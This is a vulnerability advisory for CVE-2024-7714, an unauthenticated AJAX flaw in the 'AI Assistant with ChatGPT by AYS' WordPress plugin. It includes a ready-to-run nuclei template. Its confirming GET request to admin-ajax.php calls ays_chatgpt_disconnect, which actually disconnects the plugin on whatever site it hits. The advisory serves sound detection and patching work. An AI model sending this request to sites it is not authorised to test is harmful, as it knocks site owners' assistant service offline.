AI Assistant with ChatGPT by AYS <= 2.0.9 - Unauthenticated AJAX Calls

mediumseverity

6.5CVSS score

0.8%likelihood of exploitation, next 30 days

59%of all CVEs are less likely

Readycheck to confirm it

The plugin lacks sufficient access controls allowing an unauthenticated user to disconnect the plugin from OpenAI, thereby disabling the plugin. Multiple actions are accessible: ays_chatgpt_disconnect, ays_chatgpt_connect, and ays_chatgpt_save_feedback

Impact

Unauthenticated attackers can disconnect the plugin from OpenAI and manipulate plugin settings through unprotected AJAX endpoints, causing denial of service and disrupting ChatGPT assistant functionality.

Fix

Fixed in 2.1.0

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?ays_chatgpt_assistant_id=1&action=ays_chatgpt_admin_ajax&function=ays_chatgpt_disconnect
Positive when: regex("^true$", body) and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-7714 -u <target>

The full check

id: CVE-2024-7714

info:
  name: AI Assistant with ChatGPT by AYS <= 2.0.9 - Unauthenticated AJAX Calls
  author: s4e-io
  severity: medium
  description: |
    The plugin lacks sufficient access controls allowing an unauthenticated user to disconnect the plugin from OpenAI, thereby disabling the plugin. Multiple actions are accessible: ays_chatgpt_disconnect, ays_chatgpt_connect, and ays_chatgpt_save_feedback
  impact: |
    Unauthenticated attackers can disconnect the plugin from OpenAI and manipulate plugin settings through unprotected AJAX endpoints, causing denial of service and disrupting ChatGPT assistant functionality.
  remediation: |
    Fixed in 2.1.0
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7714
    - https://wpscan.com/vulnerability/04447c76-a61b-4091-a510-c76fc8ca5664/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-7714
    cwe-id: CWE-284
    epss-score: 0.00848
    epss-percentile: 0.58413
  metadata:
    verified: true
    max-request: 1
    vendor: ays-chatgpt-assistant-team
    product: ays-chatgpt-assistant
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ays-chatgpt-assistant"
  tags: cve,cve2024,ays-chatgpt-assistant,wordpress,wp-plugin,wp,iac,vuln,ai

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?ays_chatgpt_assistant_id=1&action=ays_chatgpt_admin_ajax&function=ays_chatgpt_disconnect"

    matchers:
      - type: dsl
        dsl:
          - 'regex("^true$", body)'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from